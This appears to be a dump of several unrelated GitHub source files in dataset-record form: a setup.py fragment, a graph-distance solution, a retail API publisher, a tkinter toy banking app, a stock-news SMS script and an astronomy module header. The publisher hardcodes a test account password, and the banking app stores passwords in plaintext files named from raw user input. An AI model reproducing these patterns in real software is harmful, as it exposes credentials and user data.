install_requires=reqs,\n package_data={\"pywhatkit\": [\"py.typed\"]},\n include_package_data=True,\n long_description=readme(),\n long_description_content_type=\"text/markdown\",\n classifiers=[\n \"Development Status :: 5 - Production/Stable\",\n \"Intended Audience :: Developers\",\n \"Topic :: Software Development :: Build Tools\",\n \"License :: OSI Approved :: MIT License\",\n \"Programming Language :: Python :: 3.8\",\n \"Programming Language :: Python :: 3.9\",\n \"Programming Language :: Python :: 3.10\",\n ],\n)\n","repo_name":"Ankit404butfound/PyWhatKit","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1334,"program_lang":"python","lang":"en","doc_type":"code","stars":1155,"dataset":"github-code","pt":"47"} +{"seq_id":"11368573388","text":"from collections import deque\nfrom sys import *\nsetrecursionlimit(10**6)\n\nn = int(input())\na, b = map(int, input().split())\nm = int(input())\n\ngraph = [[] for _ in range(n+1)]\nfor _ in range(m):\n x, y = map(int, input().split())\n graph[x].append(y)\n graph[y].append(x)\n\nvisited = [0]*(n+1)\n\ndef bfs(start):\n queue = deque()\n queue.append(start)\n while queue:\n x = queue.popleft()\n for i in graph[x]:\n if visited[i] == 0:\n visited[i] = visited[x]+1\n queue.append(i)\n \nbfs(a)\nif visited[b] == 0:\n print(-1)\nelse:\n print(visited[b])","repo_name":"qwas15788hj/Baekjoon","sub_path":"백준/Silver/2644. 촌수계산/촌수계산.py","file_name":"촌수계산.py","file_ext":"py","file_size_in_byte":622,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"32826773244","text":"import json\nimport requests\nfrom retry.api import retry_call\n\nfrom pycatmanadapter.connect.cps import adapter_cps_provider\nfrom pycatmanadapter.log import logger\nfrom pycatmanadapter.process.Exception.api_connection_error import ApiConnectionError\nfrom pycatmanadapter.process.Exception.internal_server_error import InternalServerError\nfrom pycatmanadapter.process.system.publishers.http_publisher import HttpPublisher\nfrom pycatmanadapter.process.system.publishers.http_publisher import get_error_message\n\n\nclass CatmanApiPublisher:\n def __init__(self, publisher_name, cps_props):\n self.base_publisher = HttpPublisher(publisher_name, cps_props)\n\n def publish_message(self, message, message_header):\n # load publisher config for this entity\n\n message_type = message_header[\"type\"]\n api_retry_count = self.base_publisher.api_retry_count\n retry_delay = self.base_publisher.retry_delay\n\n input_ = json.loads(message)\n for item in input_:\n payload = item['payload']\n if len(payload) == 1:\n if message_type == \"location\":\n api_response = retry_call(self._upsert_store, fargs=[payload[0], message_type],\n exceptions=(ApiConnectionError, InternalServerError),\n tries=api_retry_count, delay=retry_delay) \n else:\n # todo: add the retry\n api_response = self._upsert_entity(payload[0], message_type)\n else:\n dbkey = retry_call(self.file_upload, fargs=payload,\n exceptions=(ApiConnectionError, InternalServerError),\n tries=api_retry_count, delay=retry_delay)\n dbkey_afer_import = retry_call(self.data_transfer_request_for_import, fargs=[message_type, dbkey],\n exceptions=(ApiConnectionError, InternalServerError),\n tries=api_retry_count, delay=retry_delay)\n api_response = retry_call(self.data_transfer_req_process, fargs=dbkey_afer_import,\n exceptions=(ApiConnectionError, InternalServerError),\n tries=api_retry_count, delay=retry_delay)\n logger.debug(\"Post Batch Prod Api calls - dbkey :\"+str(dbkey)+\" dbkey afer file import :\"+str(dbkey_afer_import)+\" api response :\"+str(api_response))\n\n return api_response\n\n def create_dummy_floorplan(self,dbkey):\n data = {\n \"value1\": dbkey,\t\t\t# Store Number\n \"name\": \"Elkjøp Ullevål\",\t# Store Name\n \"desc1\": \"NO\",\t\t\t# Store Country\n \"desc2\": \"SNA \",\t\t# Company\n \"desc3\": \"BIG\",\t\t\t# Format\n \"desc6\": \"Stoa Vest\",\t\t# Address1\n \"desc7\": \"ARENDAL\",\t\t# City\n \"desc8\": \"4848\",\t\t# Postal Code\n \"desc9\": \"37022400\",\t\t# Phone\n #below was assigned null in the storeplan doc .. have changed it to \"\" as was hitting parsing exception\n \"desc10\": \"\",\t\t\t# Region\n \"desc11\": \"20150121\",\t\t# Date Effective From\n \"desc12\": \"00000000\",\t\t# Date Effective To\n \"width\": 1000,\t\t\t# Hard coded value. Config setting?\n \"ceilingHeight\": 360,\t\t# Hard coded value.\n \"depth\": 1000, # Hard coded value.\n \"drawFloor\" : 1, # Hard coded value.\n \"floorColor\": 16777215 # Hard coded value.\n }\n return data\n\n def _get_db_key_to_update(self, message, message_type):\n cps_props = adapter_cps_provider.get_properties()\n entity_url_path = cps_props[\"workflows.%s.publisherOptions.path\" % message_type]\n\n db_key = None\n\n entity_filter = cps_props[\"workflows.%s.publisherOptions.filter\" % message_type]\n entity_filter_field = cps_props[\"workflows.%s.publisherOptions.filterField\" % message_type]\n\n if entity_filter_field not in message:\n raise Exception(\"Filter field does not exist on object\")\n filter_value = message[entity_filter_field]\n db_keys = self.base_publisher.get_entity(entity_url_path + entity_filter % filter_value)\n\n if db_keys:\n \n last_ele = db_keys[len(db_keys) - 1]\n\n # double check that this logic below is needed...\n # seems like it was different between product and store\n if \"dbKey\" in last_ele:\n db_key = last_ele['dbKey']\n elif \"dbkey\" in last_ele:\n db_key = last_ele['dbkey']\n else:\n # todo: clean this up, this is here for \n # get user role that won't give a db key\n # for some reason\n db_key = last_ele\n\n return db_key\n\n def _update_entity(self, message, message_type, db_key):\n cps_props = adapter_cps_provider.get_properties()\n entity_url_path = cps_props[\"workflows.%s.publisherOptions.path\" % message_type]\n\n # documentation says the object to be PUT should be updated with the dbkey\n # do we need to do that?\n\n # this varies from one environment to the other\n # one is entity/\n # other is entity?dbKey=\n update_path = \"%s/%s\" % (entity_url_path, db_key)\n return self.base_publisher.update_entity(update_path, message)\n\n def _upsert_entity(self, message, message_type):\n cps_props = adapter_cps_provider.get_properties()\n entity_url_path = cps_props[\"workflows.%s.publisherOptions.path\" % message_type]\n\n # first try getting the object\n db_key = self._get_db_key_to_update(message, message_type)\n if db_key is not None:\n # if it's found, update it\n result = self._update_entity(message, message_type, db_key)\n else:\n # if it's not found, insert it\n result = self.base_publisher.add_entity(message, message_type)\n\n return result\n\n def _upsert_store(self, message, message_type):\n cps_props = adapter_cps_provider.get_properties()\n result = None\n\n # todo: move below to configuration?\n store_num = message[\"storenumber\"]\n filter_get_fp=\"?$filter=value1 eq %s\" % (store_num)\n floorplan_url = cps_props[\"workflows.floorplan.publisherOptions.path\"]\n\n # Check for existence - get\n db_key = self._get_db_key_to_update(message, message_type)\n \n if db_key: # store exists\n # update store\n store_result = self._update_entity(message, message_type, db_key)\n\n #Fetch Floor Plan\n\n print(\"floorplan_url\",floorplan_url+filter_get_fp)\n response = self.base_publisher.get_entity(floorplan_url + filter_get_fp)\n print(\"FloorPlan Response\", response)\n \n # revisit this when there has been a floorplan created for this store\n\n else: # store does not exist yet\n # if no store is available execute below sequence for creating new stores and other relations\n # this call fails on md1npdvjdapc01, had to use md1npdvcatman1 to get past this\n result = self.base_publisher.add_entity(message, message_type)\n # clean this up later\n if result: \n dbkey = result['dbKey']\n\n #Create a dummy floor plan for the store\n dummy_floorplan = self.create_dummy_floorplan(dbkey)\n dummy_floorplan_result = self.base_publisher.add_entity(dummy_floorplan, \"floorplan\")\n\n if dummy_floorplan_result:\n dummy_floorplan_db_key = dummy_floorplan_result['dbKey']\n print(\"Response DBKey\",dummy_floorplan_db_key)\n\n # warning there is a gap here.\n # see documentation 5.c. about \n # creating association between store and floorplan\n\n #User Api calls need to be added here\n \n # Check the existence of role ELK_role_stores\n # how does this get associated with the store? \n # todo: move this out of this function\n store_users_role = {\n \"roleID\": 0,\n \"role\": \"ELK_role_stores-test1\",\n \"name\": \"Store Users (ROLE)\",\n \"description\": \"Store Users (ROLE)\",\n \"businessObject\": \"null\",\n \"objectDescription\": \"null\",\n \"securityLevel\": 0\n }\n\n user_role_db_key = self._get_db_key_to_update(store_users_role, \"userRole\")\n # note: for some reason in this env, it won't let you select dbkey\n # so for now, this is just returning the object\n if not user_role_db_key: # role is not found, we need to create it\n user_role_result = self.base_publisher.add_entity(store_users_role, \"userRole\")\n \n # now that role is created, create a store user\n # ????? should this go in the if above?\n # not clear in document, but doesn't make sense to create a user every time\n # also this call is resulting in 500s\n store_user = {\n \"password\": \"testpwd23423\",\n \"userName\": \"12346@elkjop.no\",\n \"email\": \"12346@elkjop.no\",\n \"isWindowsUser\": 0,\n \"isLocked\": 0\n }\n store_user_result = self.base_publisher.add_entity(store_user, \"user\")\n\n # assign the store user to to the role\n # GAP (see document)\n\n return result\n\n def file_upload(self, input_):\n url = self.catman_base_url + \"/Files/api/\" + self.api_version + \"/odata/files/upload\"\n headers = {}\n\n headers.update({\n \"Accept\": 'application/json',\n \"Authorization\": self.token\n })\n data = {\n 'FolderType': '1',\n 'FileName': 'testFile4'\n }\n\n files = {'file': json.dumps(input_, indent=4)}\n\n try:\n response = requests.post(url, files=files, data=data, headers=headers)\n json_data = response.json()\n except ConnectionError as Ex:\n # Raise api connection error such that it can be retried\n raise ApiConnectionError(Ex)\n if str(response.status_code)[0:1] == '5':\n # Raise server error such that it can be retried\n raise InternalServerError(get_error_message(json_data))\n elif str(response.status_code)[0:1] != '2':\n raise Exception(get_error_message(json_data))\n\n db_key = None\n if json_data:\n db_key = json_data['dbKey']\n return db_key\n\n def data_transfer_request_for_import(self, message_type, db_key):\n url = self.catman_base_url + \"/DataTransfer/api/\" + self.api_version + \"/odata/Requests\"\n headers = {}\n headers.update({\n \"Accept\": 'application/json',\n \"Authorization\": self.token,\n \"Content-Type\": 'application/json-patch+json'\n })\n\n db_parent_prc_key = self.cps_props[\"workflows.%s.publisherOptions.db_parent_prc_key\"]\n\n data = {\n \"dbParentFileKey\": db_key,\n \"dbParentProcessKey\": db_parent_prc_key,\n \"dbParentAccountKey\": \"0\"\n }\n\n try:\n response = requests.post(url, json=data, headers=headers)\n json_data = response.json()\n except ConnectionError as Ex:\n # Raise api connection error such that it can be retried\n raise ApiConnectionError(Ex)\n if str(response.status_code)[0:1] == '5':\n # Raise server error such that it can be retried\n raise InternalServerError(get_error_message(json_data))\n elif str(response.status_code)[0:1] != '2':\n raise Exception(get_error_message(json_data))\n\n dbkey_after_import = None\n if json_data:\n dbkey_after_import = json_data['dbKey']\n return dbkey_after_import\n\n def data_transfer_req_process(self, db_key):\n value = ''\n url = self.catman_base_url + \"/DataTransfer/api/\" + self.api_version + \"/odata/Requests/\" + str(db_key) + \"/Process\"\n\n headers = {}\n headers.update({\n \"Accept\": 'application/json',\n \"Authorization\": self.token\n })\n\n try:\n response = requests.post(url, headers=headers)\n json_data = response.json()\n except ConnectionError as Ex:\n # Raise api connection error such that it can be retried\n raise ApiConnectionError(Ex)\n if str(response.status_code)[0:1] == '5':\n # Raise server error such that it can be retried\n raise InternalServerError(get_error_message(json_data))\n elif str(response.status_code)[0:1] != '2':\n raise Exception(get_error_message(json_data))\n\n\n if json_data:\n value = json_data['value']\n return str(value)","repo_name":"girish-ganjihal-by/giridemo","sub_path":"pycatmanadapter/process/system/publishers/catman_api_publisher.py","file_name":"catman_api_publisher.py","file_ext":"py","file_size_in_byte":13406,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"36377116026","text":"import tkinter as tk\r\nfen_prin=tk.Tk()\r\nfen_prin.title(\"Fenetre principale\")\r\nfen_prin.geometry(\"350x400+5+5\")\r\nimport time\r\nfrom tkinter import ttk\r\nimport os\r\n\r\ndef eneg_sucess():\r\n nom=ent_nom.get()\r\n age=ent_age.get()\r\n genre=ent_genr.get()\r\n password=ent_pass.get()\r\n date=date_enr.get()\r\n data_file=os.listdir()\r\n print(data_file)\r\n if nom ==\"\" or age==\"\" or genre==\"\" or password==\"\":\r\n label_not.config(text=\"Veuillez remplir tout les champs\",fg=\"red\")\r\n return\r\n for non_chack in data_file:\r\n if nom==non_chack:\r\n label_not.config(text=\"le compte est deja creer\",fg=\"blue\")\r\n return\r\n else:\r\n new_dossier=open(nom,\"w\")\r\n new_dossier.write(nom +\"\\n\")\r\n new_dossier.write(age +\"\\n\")\r\n new_dossier.write(genre +\"\\n\")\r\n new_dossier.write(password +\"\\n\")\r\n new_dossier.write(date+\"\\n\")\r\n new_dossier.write(\"0\") \r\n new_dossier.close()\r\n label_not.config(text=\"le compte est cree avec succes\",fg=\"green\")\r\n \r\ndef effect_depot():\r\n if montant.get()==\"\":\r\n notification_depot.config(text=\"Mettez le montant\",fg=\"red\")\r\n return\r\n if float(montant.get())<=0:\r\n notification_depot.config(text=\"Le montant doit etre superieur à 0\",fg=\"red\")\r\n return\r\n file=open(nom_taper,'r+')\r\n file_data=file.read()\r\n lists_file=file_data.split(\"\\n\")\r\n acual_bal=lists_file[5]\r\n new_bal=float(acual_bal)\r\n new_bal=new_bal + float(montant.get())\r\n file_data=file_data.replace( acual_bal,str( new_bal))\r\n file.seek(0)\r\n file.truncate(0)\r\n file.write(file_data)\r\n file.close()\r\n label_bal_act.config(text=\"Balance actuel\" + str( new_bal) + \"\\n Dollars \",fg=\"blue\")\r\n notification_depot.config(text=\"Depot effectuer avec succès\",fg=\"green\")\r\n \r\n \r\n \r\ndef retrait():\r\n global retrait_montant\r\n global notification_retrait\r\n global label_bal_act\r\n retrait_montant=tk.StringVar()\r\n file=open(nom_taper,\"r\")\r\n file_data=file.read()\r\n utilisation=file_data.split('\\n')\r\n balance= utilisation[5]\r\n retraits=tk.Toplevel(fen_prin)\r\n retraits.title(\"Effectuer Depot\")\r\n retraits.geometry(\"350x350+0+0\")\r\n\r\n label_retraits=tk.Label(retraits,text=\"Depot Montant\",font=(\"arial\",12))\r\n label_retraits.place(x=25,y=0)\r\n\r\n label_bal_act=tk.Label(retraits,text=\"Balance actuel \\t\" + balance + \"\\t Dollard\" ,font=(\"arial\",12))\r\n label_bal_act.place(x=25,y=40)\r\n\r\n label_retraits=tk.Label(retraits,text=\"Montant\" ,font=(\"arial\",12))\r\n label_retraits.place(x=18,y=125)\r\n\r\n Entry_retraits=tk.Entry(retraits,textvariable=retrait_montant ,font=(\"arial\",12))\r\n Entry_retraits.place(x=80,y=125)\r\n\r\n notification_retrait=tk.Label(retraits,font=(\"arial\",12))\r\n notification_retrait.place(x=25,y=170)\r\n\r\n button_retraits=tk.Button(retraits,text=\"Effectuer\",command=effect_retraits)\r\n button_retraits.place(x=25,y=200)\r\n \r\ndef effect_retraits():\r\n if retrait_montant.get()==\"\":\r\n notification_retrait.config(text=\"Mettez le montant\",fg=\"red\")\r\n return\r\n if float(retrait_montant.get())<=0:\r\n notification_retrait.config(text=\"Le montant doit etre superieur à 0\",fg=\"red\")\r\n return \r\n file=open(nom_taper,'r+')\r\n file_data=file.read()\r\n lists_file=file_data.split(\"\\n\")\r\n acual_bal=lists_file[5]\r\n \r\n if float(retrait_montant.get()) > float(acual_bal):\r\n notification_retrait.config(text=\"Votre Balance est insuffisent\",fg=\"red\")\r\n return\r\n \r\n\r\n \r\n new_bal=float(acual_bal)\r\n new_bal=new_bal - float(retrait_montant.get())\r\n \r\n file_data=file_data.replace( acual_bal,str( new_bal))\r\n file.seek(0)\r\n file.truncate(0)\r\n file.write(file_data)\r\n file.close()\r\n label_bal_act.config(text=\"Balance actuel \\t\" +str( new_bal) + \"\\n Dollars \",fg=\"blue\")\r\n notification_retrait.config(text=\"Depot effectuer avec succès\",fg=\"green\")\r\n \r\n \r\n \r\ndef depot():\r\n global montant\r\n global notification_depot\r\n global label_bal_act\r\n montant=tk.StringVar()\r\n file=open(nom_taper,\"r\")\r\n file_data=file.read()\r\n utilisation=file_data.split('\\n')\r\n balance= utilisation[5]\r\n deposition=tk.Toplevel(fen_prin)\r\n deposition.title(\"Effectuer Depot\")\r\n deposition.geometry(\"350x350+0+0\")\r\n\r\n label_deposition=tk.Label(deposition,text=\"Depot Montant\",font=(\"arial\",12))\r\n label_deposition.place(x=25,y=0)\r\n\r\n label_bal_act=tk.Label(deposition,text=\"Balance actuel \\t\" + balance + \"\\t Dollard\" ,font=(\"arial\",12))\r\n label_bal_act.place(x=25,y=40)\r\n\r\n label_montant=tk.Label(deposition,text=\"Montant\" ,font=(\"arial\",12))\r\n label_montant.place(x=18,y=125)\r\n\r\n Entry_montant=tk.Entry(deposition,textvariable=montant ,font=(\"arial\",12))\r\n Entry_montant.place(x=80,y=125)\r\n\r\n notification_depot=tk.Label(deposition,font=(\"arial\",12))\r\n notification_depot.place(x=25,y=170)\r\n\r\n button_not=tk.Button(deposition,text=\"Effectuer\",command=effect_depot)\r\n button_not.place(x=25,y=200)\r\n \r\n \r\n \r\n\r\n\r\n \r\n \r\n\r\n \r\n \r\ndef balance():\r\n \r\n file=open(nom_taper,'r')\r\n file_data=file.read()\r\n detail_utile=file_data.split('\\n')\r\n balance= detail_utile[5]\r\n bls=tk.Toplevel(fen_prin)\r\n bls.title(\"Afficher le montant\")\r\n labl=tk.Label(bls,text=\"Balance\",font=(\"arial\",14))\r\n labl.place(x=20,y=0)\r\n\r\n labl_mont=tk.Label(bls,text=\"Votre montant est :\",font=(\"arial\",15))\r\n labl_mont.place(x=20,y=90)\r\n\r\n labl_val=tk.Label(bls,text=str(balance) + \"Dollars\",font=(\"arial\",10))\r\n labl_val.place(x=70,y=120)\r\n \r\n\r\n \r\n \r\n\r\n \r\ndef register():\r\n inscript=tk.Toplevel(fen_prin)\r\n inscript.title(\"Creation de compte\")\r\n inscript.geometry(\"350x250\")\r\n\r\n global ent_nom\r\n global ent_age\r\n global ent_genr\r\n global ent_pass\r\n global date_enr\r\n global label_not\r\n global balance\r\n \r\n \r\n\r\n date_enr=tk.StringVar()\r\n ent_nom=tk.StringVar()\r\n ent_age=tk.StringVar()\r\n ent_genr=tk.StringVar()\r\n ent_pass=tk.StringVar()\r\n balance=tk.StringVar()\r\n\r\n\r\n\r\n \r\n \r\n \r\n date_enr.set(time.strftime(\"%d/%m/%Y\"))\r\n label_enr=tk.Label(inscript,text=\"Veuillez saisir les donner s'il vous plait !\",\r\n font=(\"calibri\",12))\r\n label_enr.place(x=15,y=5)\r\n\r\n label_enr=tk.Label(inscript,text=\"Nom !\",font=(\"calibri\",12))\r\n label_enr.place(x=15,y=35)\r\n\r\n label_enr=tk.Entry(inscript,font=(\"calibri\",12),textvariable=ent_nom)\r\n label_enr.place(x=80,y=35)\r\n \r\n \r\n\r\n label_enr=tk.Label(inscript,text=\"Age:\",font=(\"calibri\",12))\r\n label_enr.place(x=15,y=55)\r\n \r\n label_age=tk.Entry(inscript,font=(\"calibri\",12),textvariable=ent_age)\r\n label_age.place(x=80,y=55)\r\n \r\n\r\n \r\n label_enr=tk.Label(inscript,text=\"Genre:\",font=(\"calibri\",12))\r\n label_enr.place(x=15,y=75)\r\n\r\n label_genre=ttk.Combobox(inscript,font=(\"calibri\",12),values=[\"\",\"M\",\"F\"],textvariable=ent_genr)\r\n label_genre.place(x=80,y=75)\r\n label_genre.current(0)\r\n \r\n \r\n \r\n\r\n label_enr=tk.Label(inscript,text=\"Code :\",font=(\"calibri\",12))\r\n label_enr.place(x=15,y=95)\r\n\r\n label_passw=tk.Entry(inscript,font=(\"calibri\",12),textvariable=ent_pass)\r\n label_passw.place(x=80,y=95)\r\n \r\n \r\n label_enr=tk.Label(inscript,text=\"Date:\",font=(\"calibri\",12)) \r\n label_enr.place(x=15,y=115)\r\n\r\n label_date=tk.Label(inscript,textvariable=date_enr,font=(\"calibri\",12),\r\n bg=\"white\") \r\n label_date.place(x=80,y=115)\r\n\r\n btn_enreg=tk.Button(inscript,text=\"Enregistrer\",command=eneg_sucess,font=(\"arial\",12))\r\n btn_enreg.place(x=80,y=155)\r\n\r\n label_not=tk.Label(inscript,font=(\"arial\",12))\r\n label_not.place(x=80,y=195)\r\n\r\ndef operation():\r\n global nom_taper\r\n tout_count=os.listdir()\r\n nom_taper=username.get()\r\n motpass_taper=motdepas.get()\r\n for nom_read in tout_count:\r\n if nom_read== nom_taper:\r\n fichier=open(nom_read,\"r\")\r\n fichier_donner=fichier.read()\r\n fichier_donner=fichier_donner.split(\"\\n\") \r\n pass_word=fichier_donner[3]\r\n if motpass_taper ==pass_word:\r\n operatat=tk.Toplevel(fen_prin)\r\n operatat.title(\"Tableau de services\")\r\n\r\n label_bienv=tk.Label(operatat,text=\"Bienvenu\",font=(\"Time\",12))\r\n label_bienv.place(x=25,y=0)\r\n\r\n btn_Balance=tk.Button(operatat,text=\"Balance\",font=(\"Time\",10),command=balance)\r\n btn_Balance.place(x=25,y=95)\r\n \r\n btn_depot=tk.Button(operatat,text=\"Depot\",font=(\"Time\",10),command=depot)\r\n btn_depot.place(x=25,y=125)\r\n\r\n btn_retrait=tk.Button(operatat,text=\"Retrait\",font=(\"Time\",10),command=retrait)\r\n btn_retrait.place(x=25,y=155)\r\n return\r\n else:\r\n label_users.config(text=\"entrer mot de pass\",fg=\"red\")\r\n return\r\n label_users.config(text=\"Pas de compte trouver\",fg=\"red\")\r\n\r\n\r\n \r\ndef conncter():\r\n \r\n global username\r\n global motdepas\r\n global label_users\r\n\r\n username=tk.StringVar()\r\n motdepas=tk.StringVar()\r\n label_users=tk.StringVar()\r\n \r\n\r\n \r\n\r\n \r\n label_users=tk.StringVar()\r\n connecter=tk.Toplevel(fen_prin)\r\n connecter.title(\"Acceder avotre compte\")\r\n\r\n label_con=tk.Label(connecter,text=\"Connecter a votre compte\")\r\n label_con.place(x=20,y=0)\r\n\r\n label_user=tk.Label(connecter,text=\"Utilisateur\")\r\n label_user.place(x=3,y=45)\r\n\r\n Entry_user=tk.Entry(connecter,textvariable=username)\r\n Entry_user.place(x=60,y=45)\r\n\r\n label_user=tk.Label(connecter,text=\"Code\")\r\n label_user.place(x=3,y=76)\r\n\r\n Entry_user=tk.Entry(connecter,textvariable=motdepas)\r\n Entry_user.place(x=60,y=76)\r\n\r\n btn_log=tk.Button(connecter,text=\"Operation\",command=operation)\r\n btn_log.place(x=4,y=100)\r\n\r\n label_users=tk.Label(connecter,font=(\"arial\",12))\r\n label_users.place(x=3,y=115)\r\n \r\n\r\n\r\n \r\n\r\n\r\n \r\n\r\n \r\n \r\n \r\n \r\n \r\n \r\n\r\n \r\n\r\n \r\n \r\n \r\n \r\n\r\n\r\nbtn_inscript=tk.Button(fen_prin,font=(\"arial\",10),\r\nbd=3,text=\"Creer compte courant\",width=35,command=register)\r\nbtn_inscript.place(x=40,y=290)\r\n\r\nbtn_inscript=tk.Button(fen_prin,font=(\"arial\",10),\r\nbd=3,text=\"Creer compte Epargne\",width=35)\r\nbtn_inscript.place(x=40,y=320)\r\n\r\nbtn_operation=tk.Button(fen_prin,font=(\"arial\",10),\r\nbd=3,text=\"Operation\",width=35,command=conncter)\r\nbtn_operation.place(x=40,y=350)\r\n\r\n\r\n\r\n\r\nfen_prin.mainloop()\r\n","repo_name":"kamujiilunga/stella","sub_path":"stella.py","file_name":"stella.py","file_ext":"py","file_size_in_byte":10885,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"39231058073","text":"import requests\nimport datetime\nimport os\nfrom send_sms import send_sms\n\nSTOCK = \"TSLA\"\nCOMPANY_NAME = \"Tesla Inc\"\nUP_ARROW = \"\\U000025B2\"\nDOWN_ARROW = \"\\U000025BC\"\nNO_MOVE_ARROW = \"\"\nPCT_DIFF_INDICATOR = 0.02 # Indicator for when to monitor stock movement\nTODAY = datetime.datetime.today() # Today's date\nDAY_0 = TODAY - datetime.timedelta(days=2) # Identify previous day\nstrDAY_0 = DAY_0.strftime(\"%Y-%m-%d\") # Convert to YY-MM-DD format\nDAY_Neg1 = DAY_0 - datetime.timedelta(days=1) # Identify day before day_0\nstrDAY_Neg1 = DAY_Neg1.strftime(\"%Y-%m-%d\") # Convert to YY-MM-DD format\n\n\n\n## STEP 1: Use https://www.alphavantage.co\n# When STOCK price increase/decreases by 5% between yesterday and the day before yesterday then print(\"Get News\").\n\nstock_data_API_Key = os.environ[\"ALPHAVANTAGE_API_AUTH_TOKEN\"]\nstock_data_endpoint = \"https://www.alphavantage.co/query\"\n\nstock_list_data_parameters = {\n \"function\": \"LISTING_STATUS\",\n \"state\": \"active\",\n \"apikey\": stock_data_API_Key\n}\n\nbespoke_endpoint = f\"{stock_data_endpoint}?function={stock_list_data_parameters['function']}&state={stock_list_data_parameters['state']}&apikey={stock_list_data_parameters['apikey']}\"\n\nresponse = requests.get(url=bespoke_endpoint)\nresponse.raise_for_status()\n\nstock_list_data = response.content\n\n# Intention was to use the stock_list_data to loop through the stocks to find one that had greater than 5% movement\n# download is in csv rather than json format.\n# Took a while to figure this out, so used response.content rather than response.json() for data\n\n\nstock_data_parameters = {\n \"function\": \"TIME_SERIES_DAILY_ADJUSTED\",\n \"symbol\": STOCK,\n \"apikey\": stock_data_API_Key\n}\n\nresponse = requests.get(url=stock_data_endpoint, params=stock_data_parameters)\nresponse.raise_for_status()\n\nstock_data = response.json()\n\nstock_data_Day_0 = stock_data[\"Time Series (Daily)\"][strDAY_0]\nstock_data_Day_Neg1 = stock_data[\"Time Series (Daily)\"][strDAY_Neg1]\n\n# Get Closing price on Day 0 and Day Neg1\nstock_closing_price_Day_0 = float(stock_data_Day_0[\"5. adjusted close\"])\nstock_closing_price_Day_Neg1 = float(stock_data_Day_Neg1[\"5. adjusted close\"])\npct_movement = (stock_closing_price_Day_0 - stock_closing_price_Day_Neg1) / stock_closing_price_Day_Neg1\nprint(pct_movement)\nstr_pct_movement = \"{:.0%}\".format(abs(pct_movement))\nif pct_movement > 0:\n # Positive increase\n str_pct_movement_arrow = UP_ARROW\nelif pct_movement < 0:\n str_pct_movement_arrow = DOWN_ARROW\nelse:\n str_pct_movement_arrow = NO_MOVE_ARROW\nif abs(pct_movement) >= PCT_DIFF_INDICATOR:\n print(\"Get News\")\n\n\n## STEP 2: Use https://newsapi.org\n# Instead of printing (\"Get News\"), actually get the first 3 news pieces for the COMPANY_NAME. \n\nnews_endpoint = \"https://newsapi.org/v2/everything\"\nnews_data_API_Key = os.environ[\"NEWS_API_AUTH_TOKEN\"]\nnews_query_keyword = COMPANY_NAME\n\nnews_data_parameters = {\n \"q\": news_query_keyword,\n \"apikey\": news_data_API_Key\n}\n\nresponse = requests.get(url=news_endpoint, params=news_data_parameters)\nresponse.raise_for_status()\n\nnews_data = response.json()[\"articles\"]\n\nprint(news_data)\n\n## STEP 3: Use https://www.twilio.com\n# Send a seperate message with the percentage change and each article's title and description to your phone number. \n\n#Optional: Format the SMS message like this:\n\n# Article Count Variable\narticle_count = 0\nnews_source = \"\"\nmsg_text = \"\"\nfor ix in range(len(news_data)):\n if len(news_source) != 0:\n if news_data[ix][\"source\"][\"name\"] == news_source:\n # Skip iteration to get a news article from a different source\n continue\n article_count += 1\n news_source = news_data[ix][\"source\"][\"name\"]\n news_headline = news_data[ix][\"title\"]\n news_brief = news_data[ix][\"description\"]\n news_url = news_data[ix][\"url\"]\n if ix == 0:\n msg_text = f\"{STOCK}: {str_pct_movement_arrow}{str_pct_movement}\"\n msg_text += f\"\\n\\nHeadline: {news_headline}\\nBrief: {news_brief}\\nURL: {news_url}\"\n # After 3 articles have been added, exit loop\n if article_count == 3:\n break\n\nsend_sms(msg_text)\n\n\"\"\"\nTSLA: 🔺2%\nHeadline: Were Hedge Funds Right About Piling Into Tesla Inc. (TSLA)?. \nBrief: We at Insider Monkey have gone over 821 13F filings that hedge funds and prominent investors are required to file by the SEC The 13F filings show the funds' and investors' portfolio positions as of March 31st, near the height of the coronavirus market crash.\nor\n\"TSLA: 🔻5%\nHeadline: Were Hedge Funds Right About Piling Into Tesla Inc. (TSLA)?. \nBrief: We at Insider Monkey have gone over 821 13F filings that hedge funds and prominent investors are required to file by the SEC The 13F filings show the funds' and investors' portfolio positions as of March 31st, near the height of the coronavirus market crash.\n\"\"\"\n\n","repo_name":"AtlasR2D2/StockNews","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4814,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"1127175651","text":"#! /usr/bin/env python\n# -*- coding: utf-8 -*-\n\"\"\"\nThis module is used to compute a grid containing drawing of disks of stars with\nlimb darkening.\n\"\"\"\n\nimport numpy as np\nimport warnings\nfrom flatstar import limb_darkening, utils\n\nfrom PIL import Image, ImageDraw\n\n__all__ = [\"star\", \"planet_transit\"]\n\n\nIMPLEMENTED_LD_LAW = {\"linear\": limb_darkening.linear,\n \"quadratic\": limb_darkening.quadratic,\n \"square-root\": limb_darkening.square_root,\n \"log\": limb_darkening.logarithmic,\n \"logarithmic\": limb_darkening.logarithmic,\n \"exp\": limb_darkening.exponential,\n \"exponential\": limb_darkening.exponential,\n \"sing\": limb_darkening.sing_three,\n \"sing-three\": limb_darkening.sing_three,\n \"s3\": limb_darkening.sing_three,\n \"claret\": limb_darkening.claret_four,\n \"claret-four\": limb_darkening.claret_four,\n \"c4\": limb_darkening.claret_four}\n\nRESAMPLING_ALIAS = {\"nearest\": Image.NEAREST, \"box\": Image.BOX,\n \"bilinear\": Image.BILINEAR, \"hamming\": Image.HAMMING,\n \"bicubic\": Image.BICUBIC, \"lanczos\": Image.LANCZOS}\n\n\n# Draw a star\ndef star(grid_size, radius=0.5, limb_darkening_law=None, ld_coefficient=None,\n custom_limb_darkening=None, supersampling=None, upscaling=None,\n resample_method=None):\n \"\"\"\n Make a normalized drawing of a star with a corresponding limb-darkening law\n in a square grid. The normalization is made in such a way that the flattened\n sum of the values inside the two-dimensional array is equal to 1.0. The\n normalization factor is calculated before the resampling, so more complex\n resampling algorithms may produce more inaccurate normalizations (by a\n factor of a few to hundreds of ppm) depending on the requested grid size and\n supersampling factor. If very precise normalized maps are required, then it\n is better to not use supersampling or use a ``\"box\"`` resampling algorithm.\n\n Parameters\n ----------\n grid_size 